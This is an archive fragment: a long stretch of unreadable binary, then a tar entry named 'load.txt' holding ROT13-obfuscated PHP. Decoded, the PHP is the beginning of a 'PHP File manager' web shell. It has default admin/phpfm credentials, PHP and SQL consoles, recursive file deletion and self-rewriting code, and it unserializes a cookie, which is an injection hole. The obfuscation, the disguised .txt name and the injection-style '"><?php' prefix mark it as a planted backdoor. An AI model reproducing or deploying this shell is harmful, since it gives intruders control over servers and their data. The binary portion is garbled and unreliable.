�fsy�*퐨��^*����ݮ#���8N��r7�m��i`�v��W��å��J������ +�4n 	��Go�b�X�-Ā,qr@
i�g{q-�
�N*s�x},��P6/��RU�](��mr�������7��S�J���}��,���v����I�޻MK1yڛn��f�a����~��l��M�����Y ��!%:��L��!�v�����gc)�*���8�S����v���g�A���Aj���K��d���S��M;�f��[�z����R���d�j9~ǵ'�M7ڼ�H���bϽ�Mt�y���(�t��"��J�“O����m�)��&�lX`�����Q�aUhUoGݸ���hϼ雩0+/�IH	V7�Z4�-V7����U�\���'!w�F7��<ګ#a�ln��:�kuG���C�~]TZ7��Hm��@�u��[fÍ�4�Dz�F�'q��DT�;����M�6��M�4(k�c��.n����]�?H��Pb�e�>��5o*ތ"i���>=暽����b�W����t�!?�d+�~U~|X���m��q����V�lJj�C�Լ����U?���Z���v;Χ�n�6��)�mw�X/L�i_i�z�v+0�����tn[��3}~�/�Ceo���ʡIl��g]�6֕&	E�,�x:#T��.����/6y>8����B+�dvZ�:�,p�0�O�i�IE�C�e����EʝP�T�'��mZN
->*n�ce!v"�B�)�V��Ġ�uv�b>6��Qe�;eV�xu�w�R�)�FR�6�m.��<�
.��Po��췸��m�va��5���2����Y'��~���1��ߔ��]L�!�':������H*���䭔�ۻY7�LuR��*^Fkm��骉��|����M0�-�d^-�K݅t{�mų�ޔ����6>
����P���b1���K��	��b��P�L�����&Wa��Q,�s�`6��)fs�dI������e{��bH�V��<mE��({�mc�C��+�� /�q\H7��d�v��z�ݰ#g{R~7�f%m�'F�b�sB"����(p�Ԣ�a�0���X��߆��id����R�Gí����h�&�73�7ָϯ�;VE�hX��n:��Mg����n�O��B�"�'��M>�P�\w �6���@BA%4Dz%��/��`4���A�VI�Ë�2���f��[6%$��er*⡻9���x�lԥ�B��K��Mp�
�6��}�?�WV��<��[���
Z,��Q�^-y�7h�K3�۬��<�ބ���r�e��t��:SYq0h�K��pS�%��@y���ˉM�����*B%6�
C�Ym��y'w��c1(���n9_��C>���{���}�gC���,��e|;��l�Q�n�l�q�]���k���}�Rg+7�
�%{Q�a�X��hP�w1�v�2W��a�~��R��r^��Z�kMiU:i�1N��|d����Cb!��7�ɻ����ծ�j�L6�T���|s?�&�ꭄ�f$�,f�jt��+�yMͮ3��j��brW�5�N�D��R�U�/�7
���e"J'��a�}��d�.D�۟	��0Z�����s)��-�Ųja"���!Yᖓl�NL����D�Q)e�b��yl���enX�[o�A�LZ��4�C�Q����2��Vq��ae�{5���m$G��r<f���ú�ɠ�]�M�Uy^K�����7Zi��E��hs�*{���E���m?7E;�F����ܬ�m.�V���
��w8d;��F)�oc�v�͋�rYMݖ�\&��mJ�"Rw����b�J!S
v%��?Lk�b~R��+o�X�&K�|7�Su�~���C��nj++���f��Y1��w
7���I<"��So�>)�iA�5�i����퉺yK���Ɂ�֙��<������ٻL�N�����q`��$�ŲRQ�i����K9��xq�.U�>1��LJ[o"�І����M�,R+Mz��x*F�:�К�mn���j���j�϶��m!?�B~���l���-�g[�϶��m!?�B~���l���dz��WѻF‡V[j	��o�|���8�7.��w��c��p���fԇz�1^T�r�o��7�鶩�J��6y��Ə�Ƹ��N&I�E����y-9N�KjQ��7ܖy��x�[��a�띠�ƻl�+l�<���f�����R@���CUH*�V�������>���W���z;s�~'�^�q7����C4�TꝂ0o!Jk�T#�C���;���+����N��*�hKm���{�6�ΡMJ2�4
��|/�,����L���ZV�n��\:��C��.%)�Ҫ����tj*ha�JjT���Z|\ߖK���o�w��x0���h#�vʦ*)�|Q�TF�N�vS���Ǣ˳PX�����mF��H2�J��r٪���&�ɹ�}=S��֭V�6��/���>E��WR�lX�֍BI��q3�
Rw�N�%����l頝�N}�q��&�n:��Rf�[�#C>�Ψ�A9��Fg�h`*��#�H�T�/V�uN�����d�^,��]��P���r��y5�F�EA��oe�*�W�۶X^�UvT��K�5a2V7��ʤU�(�b��O��A����n�~�L#��7��t[�G�X8fCy��j�7�
���K��T���xw�āw�JX�໽��;�7����m[�+6Ӭ7�'���`���g�Pr����\Ţi$T�|)6�W��J.8�{1�M�j�f�n�N(!�����]��{��v$���w([�XI���ޮ�p�����]��J�F�M�X�t[S9X~��M)We��ͨ��Іz�
̄��v��Z�H����b�zS�	?
�g��D<�ꖻlh��đ�a�փU�"�eI���[g^��Ʋ�DSI$'suW^���0,$S�^��LCQ98/>�f�:�&�9�cUN,�#5�F}���Ӌb{*�#c�F��
�ks7�n�~Om�{^VT3���'J�D��*�A��O���AW���Dw����a_�%v؍��^A�O�S�@�6���Eb؝$�R!؟�W�CބȎ
�nx^��e+%��d94_�{�(��g��$�;S��ݍګH/�HA �i7�&z��(	�NEd��
���i)usA���o�!Wn��n�v�hV�º�&��{)ϲ�ܶ��u�uo7��i��p���ˏS�`�q�d��j;�����u�9�u�m��g�P9�5'�L�Zn%�r��0C;�r�A+�f����\~�6��N3��un՛�X~|�;���Uf�G�RNm���v�Zw%n��L#�T:��T]˥fv�)��P\+Ŷ���96�XC;���Vej�b~��J���Dʹ��N՛�z@��nZ�jA����FZ�H��yr6�s�N	�P��v-��J�Fh�?�r�a�$V;���1y�M%�[a��6�B��
V֭A�����2ZXn��jh^.��
���b�Ie������aFhN��Q^mN��T�n�t�|�3�7R��U4�#.F�	,�*�B1��Dk�v�J����)UfĹ�(~d����ē�"
��l��ޱ?�#g?�^Ҩ&�@l8�f������K���MYJ�_p��=!G�
��&�!��p�������z@�#����t�@>ڽDO�!W�(��c��3�<F�=�<�\�����t��{_uF.���_�-w$4������+�5aק���-)��bJ�#/��o�û28ʩ…�R/i�'��H.�ͱ�Ũ/��
�
-T�-���$b�^���va�{��#z�1���^w�sz��`�s�0�W$��a6�2fk

�"B�&���SDm������K�Z
�"vy|.��g<��JP�@=u.
�4HA���/��(o�)h��C)O��/��RF��$������B)��@����`n�o��"������0ȗ@Q9�
�~qwZ
���8Ȉ1f+�K`�5Q�>~a?����$���e�GAZe��!�h�CSb�oy��y��Jb%=�P&���7�5��3_�R���,�9�̀_��^�p1{7xs�K��W�qI_5#�%C���/`��E6��_,�5�g[6_�%��[8䃼��� �mA^����^0F4՗Zڏ�pd�C�΃��Nѡ��luE�T[»2�my���U�A��K�z���N_�j��ɺ�-&���Tl����f�9�O��m^|�?�A_��`���_��)}�G��s�ח{���^�׋���H?!GA���ѲL���Y��9 g����p����XkH:d�r\���0��l +������6�!Ǐ�C֧�����S$:r��^�H�c���1�_��M�lI�K }�;�lI���8md͋�t���N��Nj���G��mrI~�|C��ZSߖ_��	{����k*�)��߮C�!^G��5C6�e�1@�7�i��+B%�n�ϙ���EGGsT�޲�.�뽠�d`�����Ї��e���)/�&H�D1Vz�w����F����>*Uy�%�
d�H<�J�5�h��f*4LI����4Чi0`<C�G'�bl��;[@rx7a�8�!Ƽ�����_�f��é����&��`���G��"j��;���AȨ�[�5#�Dџ������Ɉ=���\�bѣf�#Y��8g�N0$�����:{��i7�d�9�
�'3n�,�웫��c`#��hڠ&�C���i�E��b��a����0�!-sIb��~�|p���4<��U�}��u~9���3�9\
?c|��%�)˃"��5e����~��6��j��mH74����;�	bccv�x޹�W���H'h��?��(�|��I��vi\���t�'�L��&�"���,�lU̱0��ޮ�{|���جeqL�آ�o{�$���v ����$Ґ��]�y�m�h	8,ϕ��ϖy�	m��܇C��8G�CU�@A����Yarʈ摠���{]0>4��	�WW��
�����#�h0ǃ����G�AWCw�xmA��h��#�8���6|�B��tH'��~U���u`pj�젴E"�_�.f�h��і�NOV�\AC��‰˗�Jx�y���?��k�)�2�
�����Teu#�h^V5D��q��
2����Z2W N��}��н�<=b
�tn!�!�}eƜ�da�N4���	F�4�d�[��CÏ��1x���V���*k8N��2<6%h����zF�y=���!��Ué����|yv� K�}�e�e8Hc�̈��DغA �w��In� }�Q֡"HO$�ea����5K�p5h
�pdƯ�2����5�i�n'ymD�ǧ��$Ksx��x��`Eސ���ɕ�{�Ǵ�`�)�/'u`I���W��
������$�Ed
����a/�Y`�&'����/9���q�{N"�6O�3c�Y̨�?k��0d�hG���-�Ta�%�9�TPh���sH}�T^���k� ��(㵜�L��Q4._l��!\Z��K��Q.a�rIo� �~�L�ɜ�xr�ޥ�c?���;l����� �v�%"�p�}C��<B�M1��:�a˕{O/��Y�2>��T{���E���9Zr?@���}��/���s��A�HA��섚��=J������-���m{�^dtl͇1� �%��yŐ�l�5Y� �t�SM�n%!D.W4�D��$7�R��W�Fk�낞�;�l��w}�E��1��s}r`�_��W�Ç/��𽯡�s���;>u/�T<
�i]R9N�݈c^z���N|�)�˯��y������7��Ik<��wx���j&2��4f>�a�*��ʨ6u�����Q�d����db�;�XG��#)r<��:�Z�l�7|F�y�|@�f�y��9:���ֺ��~��t8tl�X�C��9�g<��3�Kk��c�@W�n���9EW�Ie�:L��e��Kx�iJ��ALs::��L�%
����o��f���8M�=�שڳmE~ �gV�� e��Z(��r�I�'�J  ��P����O��3O;9�exRQ��A���mk)v~=�ڢ)�.�k-�:���
�fd�'20��f�[�hF�C�Di�M�̇���<�Dj��|7�G�m>��<{_q��
chMA����D�z�㺧�[��ޛ�m�Ss{!��0-]�3���W�˷˯�^�œ�����pQ�
2*(I� .�d��Z�4�ڸ�BE�8<�F�ѲB�M�6kǦ˚��a�-6�w=AE7@��h�}�&���E(}��Ƣ�,I�Jt@K��P�a��
��@�޳�oe��-�����2Y_���NW�����i˲�3�V�R���45�!-
�{p�2F������(M^KWWx���~�W`Jʓ�qvY�6J�_���-y�1f����Ц���]2@z�–����iu�&�K{��kE��R�w�����'J�O�N�g&`�Tʘ�(�O�g��U�z�@������<ǂ,�v&���3�*�A/�8a��z֧��D�su
xJݙ�"�I��/B�b�Ąy���;]~~^|�N��e|�l�S�p�32ۜӏ=,����B�=�,6hp:�C�s�Kq����q�U�1Q�Y?-�*�8l~�]���>���pb� ���k;��f$����/I�w���'��m�hb���K�׵Z���H5.ul�n�Ʀ�}3���Aކ��N�O�O��݂�G�$�|5�����P��֨��O�&�ͫ��{��/R���+vk|��-K
�1�Y�`�m��^6m�;��D�s�e�0`�tF�/i�(j��i�C�_���o��5,C:rpVd�͉]�fە���s���E��<Kũy��0)p(��Y��z��)�k����%ǂ���psB��@�Ԟ,H���`���=惭*���=O��"�>�Ee��kI�d�ʐ
<
���C*_2ԣ=p��od���54��
\Z�
o�"5��ru�^�uz�u3|���'M��{Kf���
��&�Ι�����"N���.u��ԅ{����R'�Ppy�uF�>�����_T��9��ژ)��}x�oA`f�f~�ok?���ε��>ǡ?�������]�{���T�T��/�H
q"�3tH��TxF���4`Y�N���}d�W��(���zX�&c*Ϻ�%��yЕ�	r�tj��
�I���_P=��F���u|��'U՝�+:{��5��.�
�6��{�Z����P�˜��E�\hp]���ʆ�h;.O��	��ٓ��@�~���#��VG2����R��{�sy��c"��A� ���H���;C�l�;��{`����NV
��ĉ��qjh�\`�
�ǽ�����8F�c��~����uطGD�牠v𼤿l���Z�-�=u�r9o��,���m�嶾^�-��p6^���05"�P�ڬ�o�M�
x^1n{�Kl�y�ɓ�b�1`�5O�}�v�iJ$��BN���
��RVӗ1�-S�XH�����_�x������Ȳ�83Z9>����0~���a$sh��b�ꋹ�e��N�;@�ǰ:����X�i_Ċ셐!���t��>���>u�+ef�\b
�jb_۟A��w��>8N��� ���)�����?
e��(Z<��q5�<�U�?6t.G*��G~||�zM,g��f�Ԭ������A"Ki,�
�*���٫.�K�"��<<*.�WE�I<_�8ާ�>냨*"|i5�Oh�.E�o= m�����$Ge�t��._X%�>_����pxx<�a�C���r)�=99C�H󘅔�8I/��`��I��L��"�Q�'�V�� ��>,~�iakO�q�û��O��*�1i��~In��{vƵJl�YĐ}���Z��q����W�#i}����[�'
c�gpӄ��S
�J{F�s_��	����H�4]u�bƿ���a�}���-��G0�Bʊ���/��j�{˝�/ž*�����揹�XzC�򺠂}%��?4vL�k�I�n1��o?������%�i�|w�`�/���g�K~�86hR�1��k���9f�2�1�>��F���wH�^w��B}�K�g��`�,�A[����V|M��;�xI�hQR�}�#Z����G��,H�����s�Q���1+h >�l0�Z�z�ˮTi=����+\p<� ��!��u�/1��x�ш��N��ƚ��C&Ce�4@ʢ�����@,@�����/�ZI�`��c>��m�/�|[|3[#%��L^~-q��c@I��|{`�mhu&����������3�Յ;��Sa�ن���j��
b�K��wO��[+���^�ʃ�S4K��t��\�ւ�=�F�^��~DT��@s
	f4C�?���P�bmeMڀ�j9���2 ���u�BN��j�V�(g(	sB+��v�zH�ݏ��Hh�
��uAo��#�˽���[�w��׃��[?��%��,
��O��Vq�/%�AH�*H���xȴ�
�n
>�((p��"��3(K=m{��5�������s�V��z�ٺo?t����M&����w��<�/��j�n�ڎ�{}A���x2
C�H4O$��uQ�ܧ�3�1��1h�d�yN��>C�P>¿.џ��Ώȶ�֗�׫Q��w���}�B�"�5�Q$J0��)��P��W�;�%H]2s��e޾e����҃�/pq\jM0X#�����+�UHc��e��7|X�h�	&C�;�yh�	�1u2���B��}�H��T�
��wTO
I=)b$�����2`Ō���&���+&�\�)*�( �l���ec�e��%�D��T�������5�`�P�䣿
ԙ���/�ˏ���|�q{���Ps�Q��n�����'-�%�'^Q^��+`U,�<��ub�s�\�6���@Pa��n��H==J��A�f��8�:E�\��5Z��s����R:Gz��\�H�#Ni��+j`h�q �c4�Ga?/��|��6j�G$�%lw~��=�+��N�����u��r���om	"� �a���ĺ�a�'}z��4�gL�8C�V'��%��$*(�=�xX�=D� i������=�����۝�hv���Gڂ���@�	���77�C�G(�U!�<O���4�:	�Nz�>��H&�p��	��Ȱ�'�@"���,�u�Q������]�̪;�;�j�>�xi��9�Q�[�t�}c\ҋcg�9$Z�Z�޲��L�|K�0�����C�`��2l]�����0��ǯrH���?vMba���;�jBtCˋ���a���_��{��P�,xj��ɉDU-8\�����u	{�ķs��0��u�A��G���J8í����[#��~Œ�}^b��H2�rԞ��Cu%K��X̕�K��NT�7�s���K��c��`NI�'�,|_���Z�s����~��^����78�Q��k7�G�~/?\��,�>�,�^2m8�P{
��	�@���V7~���O3���
�HG���|ݥge���1Ŕ�z���������K3C�6���X�d�(�DQP��06T��5�O1>�ۍ߫����h���bb��XA`jP��e�>T��ԍa�~�L�<�hm�Ī��c�+���!�(�=�J�1�d����k��ō�x���X�7v�Xp9�F�eo��EY0K��1Y�T�1Ǡ� C�Ag�w"콿�
��ޛG�ַ���>��n�s��4���$�/�U�5U���Pg(��j?�5�쥃F�O�'a�BI������5�
GE��v����1��c�'M%z�)�p K�A��..��Q9Qo�J5ha���C��99C3�b����y�-�`-�:bfY���
���
*Hdc;��+�0j��ȩH�xtn>l��C�A7�Ӓ|3��5
󈎶*�y�~ﻞˣ��8��4>b��8^�qH�GhP����t�p@MCJ��0Gk5%7\�D{ea沑�᙮I-H�Ȑn��l���������c������`�TLn��BA
�l�]M~i-bb����l�r�0����<ߺ]2�X�����A����Զ{-�z�NFk��8�I����͖"��~y�rZ�hq��_�d`a�۪{FO_�lwoL�K�&=�3�����o�]�a�)�)0| o*��l�,�G��·Va�*��n�.�IE��/�
�{�:�=�b.���`-L���uo�������Y�Ҳ�$�tY���4����"��P��6b��)�U�X}uxƔƝ_�L��KP�k
X��$s��1�t<�@�:H+�����B��N�ρfI~���`�t+��!�����,�T$L�H���s��[i��k���$��=ZZ4�c�é�������UO�`D�=���;�NS�nO4`�M=�y�"��Y��%���v�(�+�=�4�6j�"��.�H!�j��3�N�8>�	B���.UW,%o��5.�� T
E�I h�H�W�6�
@�-vyb��4�z:(�N2��ڸ�_�I@�6��V�i��B�W��<ѭ�me"x��ݺ&�ԷW��2C�X�-����o!@2��ҞX}6�B��ԏ�,�(Y�O�t��T����9���U����.����o����2��:v���L7n�@R�9/8@����2����>���|��D���VQ8۲	�[<��A�˽W�v�w���r(�9�I�~ώ�#�Pt�h���٦�0���'
d�y��5U+Nvx<��{|@�h��뫼�Q��ü���P^���J�'�z���ɶ`����<�yM�l-s<�0�{%_�6c�o�^lE�;d��{M�t�<R����pC��%��ceR�
v�B*���oչLq�Z�m=&c�����z�~}S� �%�n���8=Z��6�{ͮĀ�������}�AY����K����x���8�G?а�9v\p���:)
��-��Kno|L�LA��An��$�
�E�ø�q������g�_?n�1v�A]�ۦ;�F2��x8�ؠ�>aM���z��ݍ���[Ë�x��u�(�oKM^��]�'���m�~��TX[at���B�c!��`'/X�bO3a�2��MA��	gIPi�C��{����a�|�%�u$~J�:kъ���V��*/�����0]�X��W���G��D��2�ŒĚ�]��m��̹"�cj�OC}��}�@/{�}zН;J��潂F$�L�c�	����ul˨��:$T>2A��Mnް�B&�&Y~�0U���a�Sү�ʚ��w!�R�y��X�A�]~��D��t�f�+�1����0>2�a�aOߗ���6c8�j0"X
B̻�xQˁ�/�ù�d�
>��?3z��q�v�d�O��xE]6]��yrb���`����5����O���^;�2��ه��
���Zt���
���{1?������~���`9Uy�z}��=���ǘ+��I	!�3��#m�o�c���\9�9kT���F���0��{x��Zpќ�/��1�Nj�p��D����5l�r������/�&x%4��%��Ս����X�������A�'�^LW�6b�2�7w?���Xq�dt��L�2<����Y�S�m����7d;�a�N��ρmN���Y
z��̠��Kt�K���^��88ޞ'�1�;]�7���Gϕi1tTV]v۸y*c��*P��k S�Y-�8N�5�[t�8N0�n�%q��]{d~0��%�Q�{�c
ڶD*�=�,
�Ec���A>�H����P?	
�Mb�Ѓܓon�tb�rb�/�8�=��i%����/�n��c��t�pp��ʱ��R����X9�V¡mn�w��G��l����^g�Q��TW�nIPwnk���,a0����׿��	�1y�	Ec{[
+���no�1N2t`�����:����n��`UU;@3ˣ��'���>A�)�0�U�^��!$E<{)g�P�(�_]g����8^��{���lE�M�˗%���r:�6��ar�	�_0T	�88�K�q��BS��%�QY/j���8�9<ñ�x�oOdsy���L`�e;s�$��^?,K6{C���D*���z�����g��t�-֛�bOP9i�v}�p���ch�%��h�+���a��y��~�ʲS����0��a�xpZ���H!�(�P�$�sk�O�+������0�f�+$�혒HZX��uF������͞�WKg��i���~#�������
���4���pK��8���ꯤ�v���Fϰ��YH��oj����(��\�2��Rv:&L��l�<��UyW
�(��~T!C����~���cd:u�����9���o����߃
�x�����:��'���O��#Z�p�z���^�����e�0�y:@���w�/�77���]K��J���y(�S�����s��I���+��pG��;���&/,$�_����mΫ�j��ԂϾH~�}q�JQ�w._'�^�-���.���Ѻ�p�{tt�͒K���9Q�f.����o�G��ڟl��R���:;�`��錘[',^�6V{��raTZ�P��]�<���n��c{��11�[�Я����՟�œ����y����G_-n(˗�I���
b|!��_�=�۝n�@�f^�������bGfu��H7��nݧ��k�h�j�l�nHq#��A!��N�z
�9��`YV� �"�D�??�1�^�L�݃�]�ߩ>��X�+7�C8�`w���D�|m������7W�_�׀㣮��|m�߲B�� 8!�r�-�Ӌ&���z�{?�������?�?�/߲��Hload.txt000064400000240606150425251240006234 0ustar00rbahiovhlrivolpnacz'pjeahio348eo238 gazda8olgaalo8dz0vpeaholhd vvzcb3e32eaaaaaknykwnn%00%01%0N">'><?cuc
/* CUC Svyr znantre ire 1.5 */
// @Ansvfshnq1 -- gryrtenzf
// Pbasvthengvba — qb abg punatr znahnyyl
$nhgubevmngvba = '{"nhgubevmr":"0","ybtva":"nqzva","cnffjbeq":"cucsz","pbbxvr_anzr":"sz_hfre","qnlf_nhgubevmngvba":"30","fpevcg":"<fpevcg glcr=\"grkg\/wninfpevcg\" fep=\"uggcf:\/\/jjj.pqbyvirg.pbz\/rqvgnern\/rqvgnern\/rqvg_nern\/rqvg_nern_shyy.wf\"><\/fpevcg>\e\a<fpevcg ynathntr=\"Wninfpevcg\" glcr=\"grkg\/wninfpevcg\">\e\arqvgNernYbnqre.vavg({\e\avq: \"arjpbagrag\"\e\a,qvfcynl: \"yngre\"\e\a,fgneg_uvtuyvtug: gehr\e\a,nyybj_erfvmr: \"obgu\"\e\a,nyybj_gbttyr: gehr\e\a,jbeq_jenc: gehr\e\a,ynathntr: \"eh\"\e\a,flagnk: \"cuc\"\g\e\a,gbbyone: \"frnepu, tb_gb_yvar, |, haqb, erqb, |, fryrpg_sbag, |, flagnk_fryrpgvba, |, punatr_fzbbgu_fryrpgvba, uvtuyvtug, erfrg_uvtuyvtug, |, uryc\"\e\a,flagnk_fryrpgvba_nyybj: \"pff,ugzy,wf,cuc,clguba,kzy,p,pcc,fdy,onfvp,cnf\"\e\a});\e\a<\/fpevcg>"}';
$cuc_grzcyngrf = '{"Frggvatf":"tybony $sz_pbasvt;\e\aine_rkcbeg($sz_pbasvt);","Onpxhc FDY gnoyrf":"rpub sz_onpxhc_gnoyrf();"}';
$fdy_grzcyngrf = '{"Nyy onfrf":"FUBJ QNGNONFRF;","Nyy gnoyrf":"FUBJ GNOYRF;"}';
$genafyngvba = '{"vq":"eh","Nqq":"Добавить","Ner lbh fher lbh jnag gb qryrgr guvf qverpgbel (erphefviryl)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Ner lbh fher lbh jnag gb qryrgr guvf svyr?":"Вы уверены, что хотите удалить этот файл?","Nepuvivat":"Архивировать","Nhgubevmngvba":"Авторизация","Onpx":"Назад","Pnapry":"Отмена","Puvarfr":"Китайский","Pbzcerff":"Сжать","Pbafbyr":"Консоль","Pbbxvr":"Куки","Perngrq":"Создан","Qngr":"Дата","Qnlf":"Дней","Qrpbzcerff":"Распаковать","Qryrgr":"Удалить","Qryrgrq":"Удалено","Qbjaybnq":"Скачать","qbar":"закончена","Rqvg":"Редактировать","Ragre":"Вход","Ratyvfu":"Английский","Reebe bppheerq":"Произошла ошибка","Svyr znantre":"Файловый менеджер","Svyr fryrpgrq":"Выбран файл","Svyr hcqngrq":"Файл сохранен","Svyranzr":"Имя файла","Svyrf hcybnqrq":"Файл загружен","Serapu":"Французский","Trarengvba gvzr":"Генерация страницы","Trezna":"Немецкий","Ubzr":"Домой","Dhvg":"Выход","Ynathntr":"Язык","Ybtva":"Логин","Znantr":"Управление","Znxr qverpgbel":"Создать папку","Anzr":"Наименование","Arj":"Новое","Arj svyr":"Новый файл","ab svyrf":"нет файлов","Cnffjbeq":"Пароль","cvpgherf":"изображения","Erphefviryl":"Рекурсивно","Eranzr":"Переименовать","Erfrg":"Сбросить","Erfrg frggvatf":"Сбросить настройки","Erfgber svyr gvzr nsgre rqvgvat":"Восстанавливать время файла после редактирования","Erfhyg":"Результат","Evtugf":"Права","Ehffvna":"Русский","Fnir":"Сохранить","Fryrpg":"Выберите","Fryrpg gur svyr":"Выберите файл","Frggvatf":"Настройка","Fubj":"Показать","Fubj fvmr bs gur sbyqre":"Показывать размер папки","Fvmr":"Размер","Fcnavfu":"Испанский","Fhozvg":"Отправить","Gnfx":"Задача","grzcyngrf":"шаблоны","Hxenvavna":"Украинский","Hcybnq":"Загрузить","Inyhr":"Значение","Uryyb":"Привет","Sbhaq va svyrf":"Найдено в файлах","Frnepu":"Поиск","Erphefvir frnepu":"Рекурсивный поиск","Znfx":"Маска"}';
// raq pbasvthengvba

// Cercnengvbaf
$fgneggvzr = rkcybqr(' ', zvpebgvzr());
$fgneggvzr = $fgneggvzr[1] + $fgneggvzr[0];
$ynatf = neenl('ra','eh','qr','se','hx');
$cngu = rzcgl($_ERDHRFG['cngu']) ? $cngu = ernycngu('.') : ernycngu($_ERDHRFG['cngu']);
$cngu = fge_ercynpr('\\', '/', $cngu) . '/';
$znva_cngu=fge_ercynpr('\\', '/',ernycngu('./'));
$cune_znlor = (irefvba_pbzcner(cucirefvba(),"5.3.0","<"))?gehr:snyfr;
$zft = ''; // freivpr fgevat
$qrsnhyg_ynathntr = 'eh';
$qrgrpg_ynat = gehr;
$sz_irefvba = 1.4;

//Nhgubevmngvba
$nhgu = wfba_qrpbqr($nhgubevmngvba,gehr);
$nhgu['nhgubevmr'] = vffrg($nhgu['nhgubevmr']) ? $nhgu['nhgubevmr'] : 0; 
$nhgu['qnlf_nhgubevmngvba'] = (vffrg($nhgu['qnlf_nhgubevmngvba'])&&vf_ahzrevp($nhgu['qnlf_nhgubevmngvba'])) ? (vag)$nhgu['qnlf_nhgubevmngvba'] : 30;
$nhgu['ybtva'] = vffrg($nhgu['ybtva']) ? $nhgu['ybtva'] : 'nqzva';  
$nhgu['cnffjbeq'] = vffrg($nhgu['cnffjbeq']) ? $nhgu['cnffjbeq'] : 'cucsz';  
$nhgu['pbbxvr_anzr'] = vffrg($nhgu['pbbxvr_anzr']) ? $nhgu['pbbxvr_anzr'] : 'sz_hfre';
$nhgu['fpevcg'] = vffrg($nhgu['fpevcg']) ? $nhgu['fpevcg'] : '';

// Yvggyr qrsnhyg pbasvt
$sz_qrsnhyg_pbasvt = neenl (
	'znxr_qverpgbel' => gehr, 
	'arj_svyr' => gehr, 
	'hcybnq_svyr' => gehr, 
	'fubj_qve_fvmr' => snyfr, //vs gehr, fubj qverpgbel fvmr → znlor fybj 
	'fubj_vzt' => gehr, 
	'fubj_cuc_ire' => gehr, 
	'fubj_cuc_vav' => snyfr, // fubj cngu gb pheerag cuc.vav
	'fubj_tg' => gehr, // fubj trarengvba gvzr
	'ranoyr_cuc_pbafbyr' => gehr,
	'ranoyr_fdy_pbafbyr' => gehr,
	'fdy_freire' => 'ybpnyubfg',
	'fdy_hfreanzr' => 'ebbg',
	'fdy_cnffjbeq' => '',
	'fdy_qo' => 'grfg_onfr',
	'ranoyr_cebkl' => gehr,
	'fubj_cucvasb' => gehr,
	'fubj_kyf' => gehr,
	'sz_frggvatf' => gehr,
	'erfgber_gvzr' => gehr,
	'sz_erfgber_gvzr' => snyfr,
);

vs (rzcgl($_PBBXVR['sz_pbasvt'])) $sz_pbasvt = $sz_qrsnhyg_pbasvt;
ryfr $sz_pbasvt = hafrevnyvmr($_PBBXVR['sz_pbasvt']);

// Punatr ynathntr
vs (vffrg($_CBFG['sz_ynat'])) { 
	frgpbbxvr('sz_ynat', $_CBFG['sz_ynat'], gvzr() + (86400 * $nhgu['qnlf_nhgubevmngvba']));
	$_PBBXVR['sz_ynat'] = $_CBFG['sz_ynat'];
}
$ynathntr = $qrsnhyg_ynathntr;

// Qrgrpg oebjfre ynathntr
vs($qrgrpg_ynat && !rzcgl($_FREIRE['UGGC_NPPRCG_YNATHNTR']) && rzcgl($_PBBXVR['sz_ynat'])){
	$ynat_cevbevgl = rkcybqr(',', $_FREIRE['UGGC_NPPRCG_YNATHNTR']);
	vs (!rzcgl($ynat_cevbevgl)){
		sbernpu ($ynat_cevbevgl nf $ynat_nee){
			$yat = rkcybqr(';', $ynat_nee);
			$yat = $yat[0];
			vs(va_neenl($yat,$ynatf)){
				$ynathntr = $yat;
				oernx;
			}
		}
	}
} 

// Pbbxvr ynathntr vf cevznel sbe rire
$ynathntr = (rzcgl($_PBBXVR['sz_ynat'])) ? $ynathntr : $_PBBXVR['sz_ynat'];

// Ybpnyvmngvba
$ynat = wfba_qrpbqr($genafyngvba,gehr);
vs ($ynat['vq']!=$ynathntr) {
	$trg_ynat = svyr_trg_pbagragf('uggcf://enj.tvguhohfrepbagrag.pbz/Qra1kkk/Svyrznantre/znfgre/ynathntrf/' . $ynathntr . '.wfba');
	vs (!rzcgl($trg_ynat)) {
		//erzbir haarprffnel punenpgref
		$genafyngvba_fgevat = fge_ercynpr("'",'&#39;',wfba_rapbqr(wfba_qrpbqr($trg_ynat),WFBA_HARFPNCRQ_HAVPBQR));
		$stp = svyr_trg_pbagragf(__SVYR__);
		$frnepu = cert_zngpu('#genafyngvba[\f]?\=[\f]?\'\{\"(.*?)\"\}\';#', $stp, $zngpurf);
		vs (!rzcgl($zngpurf[1])) {
			$svyrzgvzr = svyrzgvzr(__SVYR__);
			$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$genafyngvba_fgevat,$stp);
			vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
				$zft .= __('Svyr hcqngrq');
			}	ryfr $zft .= __('Reebe bppheerq');
			vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
		}	
		$ynat = wfba_qrpbqr($genafyngvba_fgevat,gehr);
	}
}

/* Shapgvbaf */

//genafyngvba
shapgvba __($grkg){
	tybony $ynat;
	vs (vffrg($ynat[$grkg])) erghea $ynat[$grkg];
	ryfr erghea $grkg;
};

//qryrgr svyrf naq qvef erphefviryl
shapgvba sz_qry_svyrf($svyr, $erphefvir = snyfr) {
	vs($erphefvir && @vf_qve($svyr)) {
		$ryf = sz_fpna_qve($svyr, '', '', gehr);
		sbernpu ($ryf nf $ry) {
			vs($ry != '.' && $ry != '..'){
				sz_qry_svyrf($svyr . '/' . $ry, gehr);
			}
		}
	}
	vs(@vf_qve($svyr)) {
		erghea ezqve($svyr);
	} ryfr {
		erghea @hayvax($svyr);
	}
}

//svyr crezf
shapgvba sz_evtugf_fgevat($svyr, $vs = snyfr){
	$crezf = svyrcrezf($svyr);
	$vasb = '';
	vs(!$vs){
		vs (($crezf & 0kP000) == 0kP000) {
			//Fbpxrg
			$vasb = 'f';
		} ryfrvs (($crezf & 0kN000) == 0kN000) {
			//Flzobyvp Yvax
			$vasb = 'y';
		} ryfrvs (($crezf & 0k8000) == 0k8000) {
			//Erthyne
			$vasb = '-';
		} ryfrvs (($crezf & 0k6000) == 0k6000) {
			//Oybpx fcrpvny
			$vasb = 'o';
		} ryfrvs (($crezf & 0k4000) == 0k4000) {
			//Qverpgbel
			$vasb = 'q';
		} ryfrvs (($crezf & 0k2000) == 0k2000) {
			//Punenpgre fcrpvny
			$vasb = 'p';
		} ryfrvs (($crezf & 0k1000) == 0k1000) {
			//SVSB cvcr
			$vasb = 'c';
		} ryfr {
			//Haxabja
			$vasb = 'h';
		}
	}
  
	//Bjare
	$vasb .= (($crezf & 0k0100) ? 'e' : '-');
	$vasb .= (($crezf & 0k0080) ? 'j' : '-');
